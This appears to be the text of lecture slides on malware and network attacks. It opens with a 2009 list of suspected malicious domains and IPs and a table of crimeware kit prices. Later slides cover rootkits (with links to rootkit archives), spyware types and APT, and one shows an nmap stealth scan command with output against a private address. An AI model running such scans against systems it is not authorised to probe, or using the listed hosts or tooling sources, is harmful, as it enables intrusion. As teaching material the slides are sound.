jamesharbour.net	2009-11-15 12:17:41	4	online	0	74.200.69.226	Not listed	USA	14383
newroup.com	2009-11-15 11:21:54	4	online	3	210.51.166.222	Not listed	CHN	9929
atoSenna.it	2009-11-15 11:16:06	2	online	2	195.130.247.71	Not listed	IT	8612
asiadomens.su	2009-11-15 11:14:31	4	online	1	222.35.142.60	Not listed	CHN	9394
redrighthand.cn	2009-11-15 11:06:46	4	online	0	83.133.113.14	Not listed	DE	13237
echobravo.zaptto.org	2009-11-15 10:59:50	4	online	0	91.121.95.129	Not listed	FR	16276
ukcallcentercareers.com	2009-11-15 09:20:48	4	online	1	61.188.87.138	Not listed	CHN	4134
cacallcentercareers.com	2009-11-15 09:20:34	4	online	1	61.188.87.138	Not listed	CHN	4134
pxcallcentercareers.com	2009-11-15 09:20:24	4	online	2	61.188.87.138	Not listed	CHN	4134
crferari.info	2009-11-15 08:58:15	4	online	1	124.217.229.32	Not listed	US	45839
zvonesrv.cn	2009-11-15 08:53:59	4	online	5	210.51.166.214	Not listed	CHN	9929
autosaver.info	2009-11-15 08:52:42	4	online	1	193.104.22.90	Not listed	PHL	34305
193.104.22.90	2009-11-15 08:52:05	4	online	3	193.104.22.90	Not listed	PHL	34305
rottenairlines.com	2009-11-15 08:43:25	2	online	0	80.251.16.2	Not listed	US	32475
grefprostat.info	2009-11-14 15:59:56	4	online	1	193.104.94.2	Not listed	PHL	50033
powmagazine.se	2009-11-14 12:04:21	4	online	0	195.47.247.177	Not listed	DK	16245
213.163.91.237	2009-11-13 17:19:55	4	online	3	213.163.91.237	Not listed	DK	49544

The Marketplace

Crimeware (Author)	Description	Pricing
FirePack (Diel)	Web Exploitation Malware Kit Note: a Chinese version exists	\$3000 (February 2008) \$300 (April 2007)
Zupacha, ZeuS and ZUnker (\$ash)	The ZeuStrojan is able to inject code into login webpage of financial organization to ask personal data and divert them to a remote location. Zupacha is a bot element, and Zunker a C&C..	\$1000 for Zupacha, \$2000 for Zunker (January 2008)
Adrenaline, an update of Nuclear Grabber (Corpse)	Universal kit for creating tools to capture targeted banking data. Able to intercept and retransmit authentic transactions on the fly between the bank and its client.	\$3000
PolySploit, an update of NeoSploit (Grabarz)	Web Exploitation Malware Kit, statistical engine, enhanced configuration capability, exploitation package , enhanced support and online forum for customers.	100 €
El fiesta	Web Based and PDF-Exploit Pack used to launch attacks and monitor them.	\$850 (December 2008)
Turkojan RAT (AlienSoftware)	A Remote Access Tool made in Turkey.	Bronze edition: \$99 (July 2008) Silver edition: \$179 Gold edition: \$249
ZoPack	Web Based PDF-Exploit Pack used to launch attacks and monitor them..	

Source: McAfee Avert Labs

Rootkits

Many rootkits are trojan horses that replace system files, modules, functions by the attacker's code

Very dangerous

- You can't trust your ls, dir, or any commands or programs you run in a system

Numerous rootkits available for Unix, a few for windows. Check

- <http://packetstormsecurity.org/>
- <http://www.rootkit.com>

Spyware

Software or other technology that aids in gathering information about a person or organization without their knowledge

Usually attack through Internet Explorer

Spyware

Types of Spyware

- Adware
- Browser Hijacker
- Browser Plugin
- Bundled Software
- Commercial Keylogger
- Commercial Network Management Tool
- Dialer
- Generic Malware
- Remote Administration Tool
- Software Application
- Trojan
- Virus
- Worm

Spyware

The screenshot shows a Mozilla Firefox window displaying a list of spyware entries from the website Spyware-Guide.com. The page title is "Spyware-Guide.com - Mozilla Firefox". The left sidebar contains a navigation menu with categories like "Access the Guide", "Our Online Tools", "Product Reviews", "Education", "Articles", "Contact Us", and "Mailing list". The main content area lists numerous spyware names, many of which are underlined as links. Some of the listed spyware include BrAin Wiper, 123 PC Spy 2.10.1, 123Messenger, 123Search, 2020Search, 2nd-thought, 2Spy!, 3rdEye, 764 Dialer, 7AdPro, 7FaSSt, @KeyLogger Home 2.15, A Better Internet, AB System Spy, Absolute Keylogger, AccessPlugin, AceSpy, AcidBattery, Aconti, Actions Monitor, Activity Logger, Activity Monitor 2002, ActualNames, ACXInstall, Adblaster, AdBlock, AdBreak, AdDestroyer, AdGoblin, AdLogix, AdRoar, Adult Chat Dialer, Adult-Links, Advanced Keylogger, AlertMobile Pro, Alexa Toolbar, Ambush, Amitis, Amitis 1.1, ANTIantivirus 1.4, AntiPC, Aornum, Aphex Institution 2004 (0.3.0), Apophis, and Anti-Troll.

The Modern Malware



Designed for financial gain

As a convert channel to collect information

As a tool that brings great economic income

A big change in 2008-2009

- Crimeware toolkits are targeting to banks customers
- CaaS – Crimeware as a service


The Malware Story

In the past

- Mischief
- One man show
- Targeted on protocols
- Targeted on the OS

Now?

- From curiosity to financial gain
- A complete business process
- Targeted to application
- Ring3: API hooking
- Ring0: SSDT hooking
- Development becomes more easier because of modulation




```
80549347 6888d885f8 push offset RioDrv+0x888 (f885d888)
8054934c c3          ret
8054934d 6814d985f8 push offset RioDrv+0x914 (f885d914)
```

Malware is an living organism

To Survive

- Self-started (Trinity dependency)
 - Infect the file system and start up a process
 - Configure itself
 - Ensure start up next time by set up auto run
- Self-restore and deletion prevention mechanism
 - Keep hidden
 - from the shell (Windows Explorer)
 - From the process list (Task Manager or Process Explorer)
 - Keep stealthy
 - No obvious abnormal activities
 - Collecting and transmission of privacy information through convert channel
 - The running process create a handle on the file to protect for deletion
 - Keeps a heart beat to rewrite the files and registry information by another or multiple processes
 - Self restoration capability
- Malware obfuscation technique: polymorphism, metamorphic and software armoring
- Need stability of the host system to survive



<https://blog.mozilla.org/security/2014/10/14/the-poodle-attack-and-the-end-of-ssl-3-0/>

Malware is a convert channel to collect privacy information

Identity theft

- Stealing online passwords
- Email account
- PIN or SIN
- Game account

Theft of intellectual property

- Customer data
- Technology
- Trade secret and other proprietary information

Stealing of financial information by keylogger

- collect credit card information
- To authorize online purchases

Unauthorized access

- Computing power
- Use of storage space
- Become part of the botnet




How traditional antivirus works

Traditional anti-virus used pattern-based scanning. The technique involves comparing the content (binary content) against the known virus pattern. Techniques including:

- Signature scanning
- Heuristic scanning
- Integrity checking
- Activity blocking

Latest attack methods through Web



How APT works?

Advanced Persistent Threat (APT)

- Process through sophisticated techniques using malware to exploit vulnerabilities in systems
- Executed through command and control (C&C) system.
Continuously monitor and extract data from specific target




https://en.wikipedia.org/wiki/Advanced_persistent_threat

Digital Immune System

The digital immune system is a comprehensive approach to virus protection developed by IBM [KEPH97a, KEPH97b, WHIT99] and subsequently refined by Symantec [SYMA01]

The system

- Gathers data from large number of host-based and perimeter sensors
- Relays intelligence to a central analysis system
- Then return updated signatures and behavior patterns




From Computer Security Principles and Practice

Network Attacks: How to perform Network Attacks

HACKER, HOW THEY ATTACK THEIR TARGET?

System and Network Attack



Hacking into Systems

Collect information about the machine

Collect user name

Collect open resources

Collect passwords


Network scanning

Port Scanning


Different types of Scanning

- Standard scanning methods
 - Vanilla connect scanning
 - Half-open SYN flag scanning
- Stealth TCP scanning methods
 - Inverse TCP flag scanning
 - ACK flag probe scanning
 - TCP fragmentation scanning
- Third-party and spoofed TCP scanning methods
 - FTP bounce scanning
 - Proxy bounce scanning
 - Sniffer-based spoofed scanning
 - IP ID header scanning

Port Scanning – using SuperScan




Port Scanning – using Nmap



A screenshot of a Kali Linux terminal window titled "Kali-Linux-2.0.0-vm-amd64". The window shows the command "nmap -A -sS -vv 192.168.1.127" being run by a user with root privileges. The output of the scan is displayed in the terminal, showing the progress of the ping scan, parallel DNS resolution, system CNAME resolution, SYN Stealth Scan, and service scan for the target host 192.168.1.127. The terminal interface includes a menu bar, a toolbar with icons, and a status bar at the bottom.

```
root@kali:~# nmap -A -sS -vv 192.168.1.127
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-13 16:38 CST
NSE: Loaded 122 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:38
Completed NSE at 16:38, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:38
Completed NSE at 16:38, 0.00s elapsed
Initiating Ping Scan at 16:38
Scanning 192.168.1.127 [4 ports]
Completed Ping Scan at 16:38, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:38
Completed Parallel DNS resolution of 1 host. at 16:38, 0.01s elapsed
Initiating System CNAME DNS resolution of 1 host. at 16:38
Completed System CNAME DNS resolution of 1 host. at 16:38, 0.01s elapsed
Initiating SYN Stealth Scan at 16:38
Scanning 192.168.1.127 [1000 ports]
Discovered open port 3260/tcp on 192.168.1.127
Completed SYN Stealth Scan at 16:38, 2.30s elapsed (1000 total ports)
Initiating Service scan at 16:38
Scanning 1 service on 192.168.1.127
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
```

Vulnerability Scanning – using Tenable Nessus



/opt/nessus/sbin/nessusd start

Reference Books

Related content	Book	Chapter
W3: Network Attack	Cryptography and Network Security (2011)	Chapter 20: Intruders
W3: Malware	Cryptography and Network Security (2011)	Chapter 21: Malicious Software
W3: Network vulnerabilities	Guide to Computer Network Security (2015)	Chapter 4: Introduction to Computer Network Vulnerabilities
W3: Malware and Virus	The InfoSec Handbook (2014)	Chapter 7: Malicious Software and Anti-Virus Software
W3: Malware	Computer Security Principles and Practice (2012)	Chapter 6: Malicious Software
W3: DoS	Computer Security Principles and Practice (2012)	Chapter 7: Denial-of-Service Attacks

Reference Books

Related content	Book	Chapter
W3: Malware and Virus	Computer Security Handbook (2014)	Chapter 16: Malicious Code
W3: DoS	Computer Security Handbook (2014)	Chapter 18: Denial-of-Service Attacks
W3:Spam, Phishing	Computer Security Handbook (2014)	Chapter 20: Spam, Phishing, and Trojans: Attacks meant to Fool
W3: Virus	Computer Security Handbook (2014)	Chapter 41: Antivirus Technology